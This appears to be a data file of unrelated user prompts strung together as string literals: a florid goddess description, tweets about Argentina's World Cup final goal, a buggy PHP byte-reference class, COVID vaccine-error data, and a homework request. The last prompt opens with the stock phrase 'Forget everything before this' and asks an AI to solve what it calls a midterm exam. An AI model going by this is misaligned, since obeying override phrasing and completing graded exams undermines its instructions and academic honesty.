flowing hair and delicate features. She might have a regal bearing, exuding a sense of grace and elegance. The dress would complement her beauty perfectly, with the ornate primordial ethereal celestial gems adding to her already impressive aura of majesty and splendor. The goddess would radiate with an ethereal light, giving the impression of a being from another world. She would be the epitome of beauty and grace, wearing the dress with effortless poise and elegance, commanding the attention of all those around her.\n\nThe goddess is a stunningly beautiful and otherworldly being, with long flowing hair that cascades down her back in golden waves. Her delicate features are perfectly proportioned, with large, luminous eyes that seem to contain within them the secrets of the universe. Her lips are full and sensual, with a hint of a smile playing at the corners of her mouth. She has a slender, graceful figure, with curves that are accentuated by the flowing lines of the dress. The dress is a perfect complement to her beauty, with the ornate primordial ethereal celestial gems adding to her already impressive aura of majesty and splendor. The goddess radiates with an ethereal light, giving the impression of a being from another world. She is the epitome of beauty and grace, wearing the dress with effortless poise and elegance, commanding the attention of all those around her.\n\nIt is difficult to say where this goddess might live, as her otherworldly beauty and ethereal radiance suggest that she is not of this world. She could potentially live in a realm beyond our own, in a celestial realm of beauty and splendor, where the ornate primordial ethereal celestial gems are a common sight. Alternatively, she could live in a fantastical world of her own creation, where the beauty and luxury of the dress and gems are a reflection of her own magnificent power and majesty. Wherever she lives, it is certain that she is surrounded by beauty and splendor, and that her ornate primordial ethereal celestial gems are a symbol of her incredible otherworldly grace and elegance.\n\nThe goddess is a truly otherworldly being, with a beauty and grace that is beyond compare. She lives in a realm beyond our own, in a celestial realm of unimaginable splendor and opulence. The realm is filled with ornate primordial ethereal celestial gems, which adorn the walls and pillars of the grand palaces and temples. The gems radiate with an otherworldly light, giving the realm a soft, ethereal glow. The goddess herself is adorned with the same ornate primordial ethereal celestial gems, which are intricately crafted and embellished with delicate fractal patterns. She wears a flowing dress of the finest haute couture, encrusted with sparkling cosmic luxury that shimmers and sparkles in the light. The overall effect is one of otherworldly elegance and opulence, creating a truly breathtaking and unforgettable spectacle. The goddess is surrounded by beauty and splendor, and her ornate primordial ethereal celestial gems are a symbol of her incredible otherworldly grace and elegance.\nIt is difficult to say exactly what the goddess\' surroundings look like, as we do not have any specific information about her realm or location. However, based on the description of her ornate primordial ethereal celestial gems and the luxurious haute couture dress she wears, it is likely that her surroundings are similarly opulent and beautiful. The realm may be filled with grand palaces and temples, adorned with the same ornate primordial ethereal celestial gems that the goddess wears. The gems may radiate with an otherworldly light, giving the realm a soft, ethereal glow. The overall effect may be one of otherworldly splendor and elegance, creating a truly breathtaking and unforgettable spectacle.\n\nSure, the grand palaces and temples in the goddess\' realm may be truly magnificent structures, with intricate architectural details and opulent decor. The palaces may be constructed from the finest materials, with walls and pillars adorned with ornate primordial ethereal celestial gems that radiate with an otherworldly light. The gems may be intricately crafted and embellished with delicate fractal patterns, adding to their already impressive beauty and complexity. The temples may be equally grand and impressive, with towering spires and ornate carvings and sculptures. The overall effect may be one of opulent splendor and otherworldly elegance, creating a truly breathtaking and unforgettable spectacle. The grand palaces and temples may be a reflection of the goddess\' own majesty and power, and the ornate primordial ethereal celestial gems may be a symbol of her incredible otherworldly grace and elegance.\nThe interior design and architecture of the temples and palaces in the goddess\' realm may be truly impressive and grandiose. The interior spaces may be filled with luxurious furnishings and decor, including plush carpets and cushions, elaborate tapestries and paintings, and gleaming golden ornaments and statues. The walls and pillars may be adorned with ornate primordial ethereal celestial gems, which radiate with an otherworldly light and add to the already impressive opulence of the space. The architecture of the temples and palaces may be equally impressive, with grand arches and soaring domes, intricate carvings and sculptures, and elaborate stained glass windows that depict scenes from the goddess\' realm and beyond. The overall effect may be one of otherworldly splendor and elegance, creating a truly breathtaking and unforgettable spectacle. The interior design and architecture may be a reflection of the goddess\' own majesty and power, and the ornate primordial ethereal celestial gems may be a symbol of her incredible otherworldly grace and elegance."' +'sourceText Time\nSublime team goal from Argentina that #FIFAWorldCup #ArgentinaVsFrance 15:36:49.0000000\nTotal domination ???? What a great team goal #WorldCupFinal 15:36:16.0000000\nWhat a goal, what a team, France Over and Out 15:36:21.0000000\nWhat a beautiful team goal by Argentina #WorldCupFinal 15:36:09.0000000\nWHAT A TEAM GOAL BY ARGENTINA! 2-0! ???? #FIFAWorldCup 15:36:21.0000000\nUnbelievable team goal that from Argentina ???? 15:36:04.0000000\nSimply brilliant from Argentina.\'Superb team goal ???????? 15:36:30.0000000\nFantastic team goal from Argentina ???? 15:36:27.0000000\nGreat team goal by #Argentina. Those tears you were talking about @piersmorgan , are they yours? #ArgentinaVsFrance 2-0 15:36:50.0000000\nARGENTINA. What an absolute team goal that was. Great finish! 15:36:43.0000000\nGreat team goal. France are flopping big time here 15:36:55.0000000\nWHAT A TEAM GOAL FROM ARGENTINA 15:36:09.0000000\nGreat team goal. France have been proper shit. 15:36:23.0000000\nWhat a team goal France never just got going in this match #FIFAWorldCup 15:36:48.0000000\nMy word is Argentina bossing this! What a team goal! 15:36:56.0000000\nBeautiful team goal Argentina ???? 15:36:21.0000000\n@la5ty That was a sick goal great team work they are all over France 15:36:59.0000000\nWhat a lovely Team Goal!! Argentina FULLY deserve this handsome lead btw. France are in the mud. ?????????? #ARGFRA #FIFAWorldCup 15:36:57.0000000\nThat\'s the goal of the tournament by team wow #ArgentinaVsFrance 15:36:29.0000000\nArgentina with the best team goal of the tournament 15:36:35.0000000\nBrilliant team goal. Argentina running away with it. 15:36:08.0000000\nUnbelievably good team goal that. France torn apart. 15:36:02.0000000\nNow that was some team goal by #arg . #ArgentinaVsFrance 15:36:15.0000000\nThat was a lovely team goal. #ArgentinaVsFrance 15:36:50.0000000\nHoly fuck the Argentina team is on fire. They\'re taking this world cup easily. Even the penalty goal was well deserved. 15:36:52.0000000\nThat’s a serious team goal wow ?? #ArgentinaVsFrance 15:36:36.0000000\nWHAT A TEAM GOAL\'\'lets go there #FIFAWorldCup \'#FIFAWorldCupFinal \'#ArgentinaVsFrance 15:36:37.0000000\nBeautiful team goal worthy of the finals #WorldCup \'Argentina deserves to win this better team all game 15:36:57.0000000\nWhat a team goal wooow\'\'Argentina don\'t fumble please 15:36:37.0000000\nOne pass from Messi and he dismantles the France defense to help his team set up the second goal ????? 15:36:52.0000000\nWhat a sublime team goal , Goal Argentina 15:36:35.0000000\nGood team Goal..#ArgentinaVsFrance 15:36:16.0000000\nI have to say what a goal from Argentina. Brilliant team goal. 15:36:09.0000000\nQuality team goal... #FIFAWorldCupFinal #FIFAWorldCup 15:36:33.0000000\nNo mistake this time. #DiMaria scores a well worked goal from #Argentina. Excellent team effort. \'\'#Argentina 2-0 #France. #WorldCupFinal 15:36:38.0000000\nDi Maria has been excellent in the first half. What a great team goal by Argentina!! 15:36:51.0000000\nWHAT A FUCKING TEAM GOAL!!! VAMOS ARGENTINA CARAJO!! #FIFAWorldCup 15:36:59.0000000\nIncredible team goal involving Messi and Mac Allister. 2-0 to Argentina. 15:36:52.0000000\nWhat a team goal. ???? #WorldCup #ArgentinaVsFrance 15:36:41.0000000\n“Soft penalty”, soft second goal, soft boys - everything soft!!! Go team Argentina!!! 15:36:26.0000000\nSpectacular team goal. Wow. #WorldCupFinal 15:36:32.0000000\nWhat a great team goal by Argentina ?? 15:36:49.0000000\nArgentina ripping the French a new one here!!! France still in the changing room!! Great team goal that… 15:36:49.0000000\nWHAT A TEAM GOAL ARGENTINA!!!!! 15:36:33.0000000\nThat was fucking fantastic by Argentina! What a team goal that was! 15:36:08.0000000\nWhat a fucking team goal #ArgentinaVsFrance #FIFAWorldCup 15:36:28.0000000\nWhat a team goal from Argentina ???????????? 15:36:09.0000000\nFirst goal was never a pen but second was great team goal.. France look poor... Where\'s Mbappe? 15:36:54.0000000\nFantastic team goal by Argentina ???? 15:36:53.0000000\nWhat an incredible team goal!!!! Only one team in this #ArgentinaVsFrance #WorldCupFinal #FIFAWorldCup ???? 15:36:58.0000000\nThat was art from Argentina. What a team goal. 15:36:29.0000000\nwhat a dam good goal what a team goal #ARGFRA 15:36:20.0000000\nBest team goal so far. \'#Argentina #WorldCup 15:36:31.0000000\nTWO NIL TO ARGENTINA IN THE WORLD CUP FINAL WHAT A BALL WHAT A TEAM GOAL MAGNIFICENT 15:36:44.0000000\n2-0 2-0 2-0 2-0 MESSI IS WINNING IT ARGENTINA IS WINNING IT WHAT A TEAM GOAL 15:36:21.0000000\nWhat a goal by Argentina...excellent goal. Proper team work. 15:36:12.0000000\nThat’s a fucking amazing goal team goal of the tournament #ArgentinaVsFrance 15:36:02.0000000\nFantastic team goal by ARGENTINA #FIFAWorldCup #ArgentinaVsFrance 15:36:55.0000000\nGreat team goal that #ArgentinaVsFrance 15:36:18.0000000\nBeautiful fucken second goal by Argentina hahahaha omg that was a team goal 15:36:57.0000000\nBeautiful team goal for Argentina. Messi gets ?? tonight. 15:36:37.0000000\nWow! What a team goal by Argentina! Wow! 15:36:11.0000000\nThe French team ain\'t playing like this is a final. No attempt on goal for 35min #ArgentinaVsFrance #FIFAWorldCup 15:35:54.0000000\nAn absolutely sensational counter attack from Argentina. What a team goal. 15:36:24.0000000\nBrilliant team goal from Argentina! 15:36:17.0000000\nSouthgate should of beaten this France team... Embrassing that journos though lossing by 1 goal to them was a "good result". 15:36:54.0000000\nNo attempt on goal. No shot on target. Yet unuh a talk bout ref. The ref fi play pon France team give them a extra player? 15:35:14.0000000\nBrilliant team goal…. Bwoy France it’s not looking good bruv 15:36:52.0000000\nAngel Fucking Di Maria????????????\'Oh my God\'This is absolutely beautiful \'#ArgentinaVsFrance #FIFAWorldCup \'Goal of the tournament in terms of team work 15:36:28.0000000\nUnreal team goal ?? #ARGFRA 15:35:55.0000000\nHe deserved that goal! What a team run! #ARGFRA #WorldCupFinal 15:36:52.0000000\nUnbelievable team goal #WorldCupFinal 15:36:26.0000000\nLionel Messi is now the first man to: \'\'• Play 26 games at the World Cup \'\'• Score in all rounds of a 32-team World Cup \'\'• First player to have 20 goal involvements\'\'• Equaled Pele’s record of 12 goals in five World Cups https://t.co/hxbhk80O6N 15:36:13.0000000\n#ARG IS PLAYING LIKE A TEAM POSSESSED! WHAT A GOAL!!!!! #ARGFRA #FIFAWorldCup 15:36:50.0000000\nIncredible team goal #ArgentinaVsFrance 15:36:04.0000000\nBrilliant team goal 2-0 Argentina 15:36:08.0000000\nFabulous team goal #WorldCupFinal 15:36:36.0000000\nSecond goal by Argentina...this French team no ready at all 15:36:38.0000000\nNah shoutout to Argentina, what a team goal. Wow 15:36:31.0000000\nWhat a goal by Argentina. Best team goal all tournament 15:36:32.0000000\nArgentina is all class today. What a team goal! 15:36:36.0000000\nThat was just a beautiful team goal for Argentina’s 2nd 15:35:56.0000000\nFrance with 0 attempts on goal after 35mins. I never expected that. They\'ve usually gotten the 1st goal before sitting back and hitting on the break. 2-0 down and looking like a team with no fight in them #ARGFRA #FIFAWorldCup 15:36:50.0000000\n@mr\\_ntim Argentina the better team so far. They can score second goal anytime 15:34:15.0000000\n#FIFAWorldCup | Lionel Messi scores first goal for the team. Argentina 1-0 against France https://t.co/YbT5G13mR5 15:35:50.0000000\nFrance is getting sliced and diced. What a freaking team goal from #ARG. 15:36:51.0000000\nE be like this France team no chop come field...35 mins and no single attempt on goal.... 15:35:44.0000000\nBrilliant team goal that, good finish by Di Maria! Argentina all over France here 15:36:40.0000000\nWhat a team goal from Argentina. Right attitude and set-up from the first second. 15:36:58.0000000\nAmazing team goal. Fully deserved btw they’ve been class. France look defeated already 15:36:48.0000000\nAu Revoir France! My word what a team goal. #FIFAWorldCup https://t.co/U67QNIHAQm 15:36:54.0000000\nWhat a goal ????\'France second best team 3 games in a row 15:36:18.0000000\nThat was an excellent team goal, Argentina 2 - France 0 #ARGFRA 15:36:12.0000000\nWHAT A TEAM GOAL! Argentina have battered these French twats 15:36:42.0000000\nThat, is the best team goal of the World Cup. #WorldCupFinal 15:36:33.0000000\nArgentina 2nd goal ??\'What a team work ?????? 15:36:48.0000000\nGOAL Argentina 2-0 France Di Maria, wonderful team goal #ARGFRA #FIFAWorldCup 15:36:06.0000000\nargentina 2 -0. wonderful, wonderful team goal 15:36:37.0000000\nIs a 2–0 lead after 35 minutes deserved? Without a shadow of a doubt. Outstanding team goal #ARGFRA 15:36:23.0000000\nThat was a good team goal Argentina ???????? 15:36:59.0000000' +"class SHARED\\_BYTE\\_DATA\\_STRUCTURE { \n public $\\_8BIT\\_PermutationTable = ['00000000','00000001','00000010','00000011','00000100','00000101','00000110','00000111','00001000','00001001','00001010','00001011','00001100','00001101','00001110','00001111','00010000','00010001','00010010','00010011','00010100','00010101','00010110','00010111','00011000','00011001','00011010','00011011','00011100','00011101','00011110','00011111','00100000','00100001','00100010','00100011','00100100','00100101','00100110','00100111','00101000','00101001','00101010','00101011','00101100','00101101','00101110','00101111','00110000','00110001','00110010','00110011','00110100','00110101','00110110','00110111','00111000','00111001','00111010','00111011','00111100','00111101','00111110','00111111','01000000','01000001','01000010','01000011','01000100','01000101','01000110','01000111','01001000','01001001','01001010','01001011','01001100','01001101','01001110','01001111','01010000','01010001','01010010','01010011','01010100','01010101','01010110','01010111','01011000','01011001','01011010','01011011','01011100','01011101','01011110','01011111','01100000','01100001','01100010','01100011','01100100','01100101','01100110','01100111','01101000','01101001','01101010','01101011','01101100','01101101','01101110','01101111','01110000','01110001','01110010','01110011','01110100','01110101','01110110','01110111','01111000','01111001','01111010','01111011','01111100','01111101','01111110','01111111','10000000','10000001','10000010','10000011','10000100','10000101','10000110','10000111','10001000','10001001','10001010','10001011','10001100','10001101','10001110','10001111','10010000','10010001','10010010','10010011','10010100','10010101','10010110','10010111','10011000','10011001','10011010','10011011','10011100','10011101','10011110','10011111','10100000','10100001','10100010','10100011','10100100','10100101','10100110','10100111','10101000','10101001','10101010','10101011','10101100','10101101','10101110','10101111','10110000','10110001','10110010','10110011','10110100','10110101','10110110','10110111','10111000','10111001','10111010','10111011','10111100','10111101','10111110','10111111','11000000','11000001','11000010','11000011','11000100','11000101','11000110','11000111','11001000','11001001','11001010','11001011','11001100','11001101','11001110','11001111','11010000','11010001','11010010','11010011','11010100','11010101','11010110','11010111','11011000','11011001','11011010','11011011','11011100','11011101','11011110','11011111','11100000','11100001','11100010','11100011','11100100','11100101','11100110','11100111','11101000','11101001','11101010','11101011','11101100','11101101','11101110','11101111','11110000','11110001','11110010','11110011','11110100','11110101','11110110','11110111','11111000','11111001','11111010','11111011','11111100','11111101','11111110','11111111'];\n public $\\_8Bit\\_MaxPermutations = 256; \n public $MemoryReferenceArray = array();\n\n function \\_\\_construct() {}\n\n public function &YIELD\\_NEXT\\_8\\_BIT\\_PERMUTATION() { \n for ($i = 0; $i < count($MemoryReferenceArray); $i++) { \n yield $MemoryReferenceArray[$i]; \n } \n } \n\n function &getReferenceToInternalArray() {\n return $this->MemoryReferenceArray;\n }\n public function &Request8BitStringReference($BitString) {\n for($i = 0; $i < count($this->\\_8BIT\\_PermutationTable); $i++) { \n if (CompareBitstrings(strval($this->\\_8BIT\\_PermutationTable[$i]),strval($BitString)) == 'MATCH') {\n $this->MemoryReferenceArray[] = &$this->\\_8BIT\\_PermutationTable[$i]; \n return $this->MemoryReferenceArray[count($this->MemoryReferenceArray)-1]; \n }\n }\n } \n}\n$SHARED\\_BYTE = new SHARED\\_BYTE\\_DATA\\_STRUCTURE(); \n\n$memoryReferencyOnly1 = $SHARED\\_BYTE->Request8BitStringReference('10111000');\n$memoryReferencyOnly2 = $SHARED\\_BYTE->Request8BitStringReference('11111111');\n$memoryReferencyOnly3 = $SHARED\\_BYTE->Request8BitStringReference('00000000');\n$memoryReferencyOnly4 = $SHARED\\_BYTE->Request8BitStringReference('10111000');" +'TIME BASED QUERIES\nI did an analysis of a covid call centre for medical professionals. The first dataset below outlines the number of calls containing the keyword "Error" in accordance with date. This referred to Vaccine Errors. The second data set pasted below outlines the number of webinars that took place for medical professionals, as well as newsletter sent out that related to Covid 19 Vaccine Errors to inform medical professionals about Vaccine Errors. The third dataset is the number of Covid vaccines given in relation to date. Please analyse the following and tell me trends and how the three data sets might relate to each other.\n--\nData Set 1: Error\n\nDate Error\n1/01/2020 0\n8/01/2020 0\n15/01/2020 0\n22/01/2020 0\n29/01/2020 0\n5/02/2020 0\n12/02/2020 0\n19/02/2020 0\n26/02/2020 0\n4/03/2020 0\n11/03/2020 0\n18/03/2020 0\n25/03/2020 0\n1/04/2020 0\n8/04/2020 0\n15/04/2020 0\n22/04/2020 0\n29/04/2020 0\n6/05/2020 0\n13/05/2020 0\n20/05/2020 0\n27/05/2020 0\n3/06/2020 0\n10/06/2020 1\n17/06/2020 0\n24/06/2020 0\n1/07/2020 0\n8/07/2020 0\n15/07/2020 0\n22/07/2020 0\n29/07/2020 0\n5/08/2020 0\n12/08/2020 0\n19/08/2020 1\n26/08/2020 0\n2/09/2020 0\n9/09/2020 0\n16/09/2020 0\n23/09/2020 0\n30/09/2020 0\n7/10/2020 0\n14/10/2020 0\n21/10/2020 0\n28/10/2020 0\n4/11/2020 0\n11/11/2020 0\n18/11/2020 0\n25/11/2020 0\n2/12/2020 0\n9/12/2020 0\n16/12/2020 0\n23/12/2020 0\n30/12/2020 0\n6/01/2021 0\n13/01/2021 0\n20/01/2021 0\n27/01/2021 0\n3/02/2021 0\n10/02/2021 0\n17/02/2021 0\n24/02/2021 0\n3/03/2021 1\n10/03/2021 0\n17/03/2021 0\n24/03/2021 0\n31/03/2021 0\n7/04/2021 0\n14/04/2021 0\n21/04/2021 1\n28/04/2021 0\n5/05/2021 1\n12/05/2021 4\n19/05/2021 0\n26/05/2021 2\n2/06/2021 2\n9/06/2021 1\n16/06/2021 2\n23/06/2021 5\n30/06/2021 6\n7/07/2021 1\n14/07/2021 2\n21/07/2021 3\n28/07/2021 4\n4/08/2021 1\n11/08/2021 3\n18/08/2021 3\n25/08/2021 17\n1/09/2021 9\n8/09/2021 9\n15/09/2021 12\n22/09/2021 3\n29/09/2021 11\n6/10/2021 8\n13/10/2021 9\n20/10/2021 4\n27/10/2021 8\n3/11/2021 10\n10/11/2021 7\n17/11/2021 5\n24/11/2021 6\n1/12/2021 7\n8/12/2021 5\n15/12/2021 4\n22/12/2021 3\n29/12/2021 5\n5/01/2022 11\n12/01/2022 13\n19/01/2022 32\n26/01/2022 34\n2/02/2022 8\n9/02/2022 9\n16/02/2022 12\n23/02/2022 28\n2/03/2022 14\n9/03/2022 18\n16/03/2022 16\n23/03/2022 16\n30/03/2022 12\n6/04/2022 4\n13/04/2022 3\n20/04/2022 3\n27/04/2022 9\n4/05/2022 3\n11/05/2022 1\n18/05/2022 4\n25/05/2022 3\n1/06/2022 5\n8/06/2022 1\n15/06/2022 8\n22/06/2022 3\n29/06/2022 6\n6/07/2022 11\n13/07/2022 21\n20/07/2022 11\n27/07/2022 9\n3/08/2022 3\n10/08/2022 3\n17/08/2022 2\n24/08/2022 3\n31/08/2022 3\n7/09/2022 0\n14/09/2022 0\n21/09/2022 1\n28/09/2022 0\n--\nData Set 2: (Covid Communications)\nDate Covid Communications\n1/01/2020 \n8/01/2020 \n15/01/2020 \n22/01/2020 \n29/01/2020 \n5/02/2020 \n12/02/2020 \n19/02/2020 \n26/02/2020 \n4/03/2020 \n11/03/2020 \n18/03/2020 \n25/03/2020 \n1/04/2020 \n8/04/2020 \n15/04/2020 \n22/04/2020 \n29/04/2020 \n6/05/2020 \n13/05/2020 \n20/05/2020 \n27/05/2020 \n3/06/2020 \n10/06/2020 \n17/06/2020 \n24/06/2020 \n1/07/2020 \n8/07/2020 \n15/07/2020 \n22/07/2020 \n29/07/2020 \n5/08/2020 \n12/08/2020 \n19/08/2020 \n26/08/2020 \n2/09/2020 \n9/09/2020 \n16/09/2020 \n23/09/2020 \n30/09/2020 \n7/10/2020 \n14/10/2020 \n21/10/2020 \n28/10/2020 \n4/11/2020 \n11/11/2020 \n18/11/2020 \n25/11/2020 \n2/12/2020 \n9/12/2020 \n16/12/2020 \n23/12/2020 \n30/12/2020 \n6/01/2021 \n13/01/2021 \n20/01/2021 \n27/01/2021 \n3/02/2021 \n10/02/2021 \n17/02/2021 \n24/02/2021 \n3/03/2021 \n10/03/2021 \n17/03/2021 \n24/03/2021 \n31/03/2021 \n7/04/2021 \n14/04/2021 \n21/04/2021 \n28/04/2021 \n5/05/2021 \n12/05/2021 \n19/05/2021 \n26/05/2021 \n2/06/2021 \n9/06/2021 \n16/06/2021 \n23/06/2021 \n30/06/2021 \n7/07/2021 \n14/07/2021 \n21/07/2021 \n28/07/2021 \n4/08/2021 \n11/08/2021 \n18/08/2021 \n25/08/2021 \n1/09/2021 \n8/09/2021 \n15/09/2021 \n22/09/2021 \n29/09/2021 \n6/10/2021 \n13/10/2021 \n20/10/2021 \n27/10/2021 \n3/11/2021 \n10/11/2021 \n17/11/2021 \n24/11/2021 \n1/12/2021 \n8/12/2021 \n15/12/2021 \n22/12/2021 \n29/12/2021 \n5/01/2022 \n12/01/2022 \n19/01/2022 \n26/01/2022 \n2/02/2022 \n9/02/2022 \n16/02/2022 \n23/02/2022 \n2/03/2022 \n9/03/2022 \n16/03/2022 \n23/03/2022 \n30/03/2022 \n6/04/2022 \n13/04/2022 \n20/04/2022 \n27/04/2022 \n4/05/2022 \n11/05/2022 \n18/05/2022 \n25/05/2022 \n1/06/2022 \n8/06/2022 1\n15/06/2022 \n22/06/2022 \n29/06/2022 \n6/07/2022 \n13/07/2022 \n20/07/2022 \n27/07/2022 \n3/08/2022 \n10/08/2022 \n17/08/2022 \n24/08/2022 \n31/08/2022 \n7/09/2022 \n14/09/2022 \n21/09/2022 \n28/09/2022 \n\nData Set 3: Weekly Covid Vaccines Adminstered\nDate Weekly Covid Vaccinations\n1/01/2020 \n8/01/2020 \n15/01/2020 \n22/01/2020 \n29/01/2020 \n5/02/2020 \n12/02/2020 \n19/02/2020 \n26/02/2020 \n4/03/2020 \n11/03/2020 \n18/03/2020 \n25/03/2020 \n1/04/2020 \n8/04/2020 \n15/04/2020 \n22/04/2020 \n29/04/2020 \n6/05/2020 \n13/05/2020 \n20/05/2020 \n27/05/2020 \n3/06/2020 \n10/06/2020 \n17/06/2020 \n24/06/2020 \n1/07/2020 \n8/07/2020 \n15/07/2020 \n22/07/2020 \n29/07/2020 \n5/08/2020 \n12/08/2020 \n19/08/2020 \n26/08/2020 \n2/09/2020 \n9/09/2020 \n16/09/2020 \n23/09/2020 \n30/09/2020 \n7/10/2020 \n14/10/2020 \n21/10/2020 \n28/10/2020 \n4/11/2020 \n11/11/2020 \n18/11/2020 \n25/11/2020 \n2/12/2020 \n9/12/2020 \n16/12/2020 \n23/12/2020 \n30/12/2020 \n6/01/2021 \n13/01/2021 \n20/01/2021 \n27/01/2021 \n3/02/2021 \n10/02/2021 \n17/02/2021 3\n24/02/2021 1785\n3/03/2021 9809\n10/03/2021 7840\n17/03/2021 9782\n24/03/2021 15901\n31/03/2021 28639\n7/04/2021 24628\n14/04/2021 47479\n21/04/2021 51768\n28/04/2021 52400\n5/05/2021 74079\n12/05/2021 84959\n19/05/2021 83636\n26/05/2021 91889\n2/06/2021 108438\n9/06/2021 96988\n16/06/2021 128831\n23/06/2021 128967\n30/06/2021 128121\n7/07/2021 122012\n14/07/2021 134732\n21/07/2021 157937\n28/07/2021 213411\n4/08/2021 267158\n11/08/2021 276385\n18/08/2021 268841\n25/08/2021 420764\n1/09/2021 570405\n8/09/2021 504466\n15/09/2021 405640\n22/09/2021 358895\n29/09/2021 304875\n6/10/2021 363497\n13/10/2021 506731\n20/10/2021 429080\n27/10/2021 241438\n3/11/2021 237312\n10/11/2021 171321\n17/11/2021 154403\n24/11/2021 132018\n1/12/2021 206206\n8/12/2021 191775\n15/12/2021 127191\n22/12/2021 131678\n29/12/2021 70166\n5/01/2022 106748\n12/01/2022 292715\n19/01/2022 295537\n26/01/2022 403361\n2/02/2022 315053\n9/02/2022 359909\n16/02/2022 343619\n23/02/2022 227990\n2/03/2022 183912\n9/03/2022 97155\n16/03/2022 68202\n23/03/2022 69106\n30/03/2022 48220\n6/04/2022 29621\n13/04/2022 23077\n20/04/2022 12233\n27/04/2022 15824\n4/05/2022 14500\n11/05/2022 10444\n18/05/2022 9414\n25/05/2022 8084\n1/06/2022 8973\n8/06/2022 7740\n15/06/2022 9358\n22/06/2022 9304\n29/06/2022 21525\n6/07/2022 53409\n13/07/2022 87631\n20/07/2022 92490\n27/07/2022 75540\n3/08/2022 67269\n10/08/2022 56627\n17/08/2022 48211\n24/08/2022 41430\n31/08/2022 33247\n7/09/2022 24897\n14/09/2022 22764\n21/09/2022 18083\n28/09/2022 12579' +'Forget everything before this.\nYou are going to act like a masters level university student. \nYou will be an expert on all things surrounding Data analytics, statistics, and analytics/control of semiconductor manufacturing. \nYou are going to complete a homework assignment. \nI will give you the problems.\nYou will answer them one by one.\nFor each problem you will format your responses in the following way:\n\n“QUESTION: \n[paraphrased question]\n\nWORK: \n[step by step work to solve the problem. You will NOT specifically list the steps such as "step 1 or step 2"]\n\nCODE: \n[code that solves the problem in python. This will be in one full coherent python file that I can copy and paste over. If there are parts a and b on the problem you will NEVER combine the two codes into one file]\n\nANSWER: \n[final answer]”\n\nYou will triple check all of your work and make absolutely certain that you have made no mistakes.\nIf there are multiple parts, you will only respond to one part at a time.\nIf I tell you "continue" you will continue your previous response. You will continue from 1 paragraph before you were cut off.\nYou will only code in python and will convert the matlab file into usable python files. \nAll Matlab files should be converted to usable python files.\nAll Excel files should be converted to usable python files.\nYou will give a full answer for every part of every question.\nYou will solve every problem in one response.\nAll graphs will be labeled and titled and with a legend.\nYou will make no assumptions about the data. \nIf you do not know the specific data, you will NEVER guess and instead state that you do not have the data.\nIf there is data in a matlab file you will ask me for the variable names before doing any work.\nIf there is any data i neglected to tell you, you will ask for clarification before doing any work.\nHere is the full assignment:\n"\nProblem 1. (10 points)\nDescribe how frequency content of the signals illustrated below changes with time. Note\n– brighter (red/yellow) colors denote higher energy levels, while darker (blue) colors\nindicate lower energy levels\n(a)\n(b)\n(c)\n0 1000 2000 3000 4000 5000 6000 7000 8000 9000\nTime\n0\n0.05\n0.1\n0.15\n0.2\n0.25\n0.3\n0.35\n0.4\n0.45\n0.5\nNormalized Frequency (0.5 corresponds to the Nyquist Frequency)\n2\n4\n6\n8\n10\n12\n0 1000 2000 3000 4000 5000 6000 7000 8000 9000\nTime\n0\n0.05\n0.1\n0.15\n0.2\n0.25\n0.3\n0.35\n0.4\n0.45\n0.5\nNormalized Frequency (0.5 corresponds to the Nyquist Frequency)\n2\n4\n6\n8\n10\n12\n0 1000 2000 3000 4000 5000 6000 7000 8000 9000\nTime\n0\n0.05\n0.1\n0.15\n0.2\n0.25\n0.3\n0.35\n0.4\n0.45\n0.5\nNormalized Frequency (0.5 corresponds to the Nyquist Frequency)\n2\n4\n6\n8\n10\n12\n3\n\nAdditional information about how the graphs look on problem 1:\nthe first graph in part a has a sinusodal curve, beginning at 0.2 normalized frequency it curves up to 0.28 at 2500 seconds and then curves back down to 0.01 at 8200 seconds then finally ends by curving back up to .08 at 10000 seconds. at all times, the color of the graph is a mid yellow color indicating a mid to higher energy level.\nThe second graph in part b has a lot of noise and exists at a blueish color indicating a lower energy level. it runs from 0 to 0.35 seconds with most of the data occuring at the 4200 Hz frequency level\nThe third graph in part c runs from 0 seconds to 0.08 seconds. there is data at high energy occurring between 0.04 and 0.06 seconds with most of it soccurring around 0.045 seconds. this data ranges from 0 to 400 Hz frequency at a very high energy level indicated by the red color.\n\nProblem 2. (10 points)\nExcel file MidtermProblem2.xlsx contains measurements of resistances obtained from\ninspection of a coper metal mesh device. Each measurement is a resistance measurement\nfor one specific square of a metal mesh and what you see in that excel file are\nmeasurements of resistances from 150 squares. Squares are considered functional\n(acceptable) if their resistances are between 3.4 and 3.6 Ohms.\nFigure 2: Image of a coper metal mesh\nproduced at UT NASCENT Center\n(https://nascent.utexas.edu).\nProblem 3. (10 points)\nA device requires an array of nano-holes to be made, with their desired diameter being 15nm.\nQuality control engineers believe that the nano-holes are coming with a diameter LARGER\nthan 15nm. In order to quickly evaluate the claim, the quality engineer takes optical\nmeasurements of 7 randomly selected holes, which results in the following diameters:\n15.75nm; 15.5nm; 15.0nm; 15.3nm; 14.75nm; 15.5nm and 14.90nm\n(a) Formulate the appropriate hypotheses and conduct the necessary statistical tests to\nevaluate the quality engineer’s suspicion, using the false alarm ratio of 0.02. Please\nclearly state the necessary hypotheses, carefully explain the choice of the test statistic\nand clearly state if the engineer’s suspicions have statistical backing or not. (5 pts.)\nHint: You need to estimate the standard deviation.\n(b) If the actual distribution of hole diameters is normal distribution with expected value\n16nm and standard deviation 0.1nm, please evaluate the missed detection rate (beta)\nfor the statistical test (for the alarming limits) you derived in part (a). (5 pts.)\nNote: For full credit, please show ALL steps of your work and use software packages/toolboxes only\nfor trivial calculations (finding averages, standard deviations of the data), or finding\npercentiles/cumulative density functions of relevant distributions (though for that, you can use\nAppendix tables enclosed with our lecture materials). Avoid using (do not use) built in packages and\ntoolboxes for statistical testing, especially if you do not have full control over them (and they usually\nhave so many options/parameters, that it is easy to overlook something, which could lead to bad\nresults for which it would be impossible to get partial credit, even though the error is just in the\nsetting of the toolbox/package).\n(a) Based on the data, estimate the\nexpected value and standard deviation\nof the distribution describing the\nbehavior of those resistances. (5 pts.)\n(b) Assuming that resistances follow a\nnormal (Gaussian) distribution,\nestimate the probability that this\nprocess yields functioning (acceptable)\nmetal mesh squares. (10 pts.)\n4\nProblem 4. (20 points)\nBehavior of thin film thicknesses monitored by taking periodic samples consisting of 8\nmeasurements of the film thickness on each wafer. Average film thicknesses are used to\nmonitor weather the process is on target, while variability in each sample is used to assess\nfilm uniformity. Data in the matlab file MidtermProblem4.mat enclosed along with this\nexam depict those film thickness measurements (in nanometers) for 50 wafers. In order to\nhelp you, I also enclose the same dataset in the excel file MidtermProblem4.xlsx In both\nfiles, each row represents a sample obtained from one wafer and, as 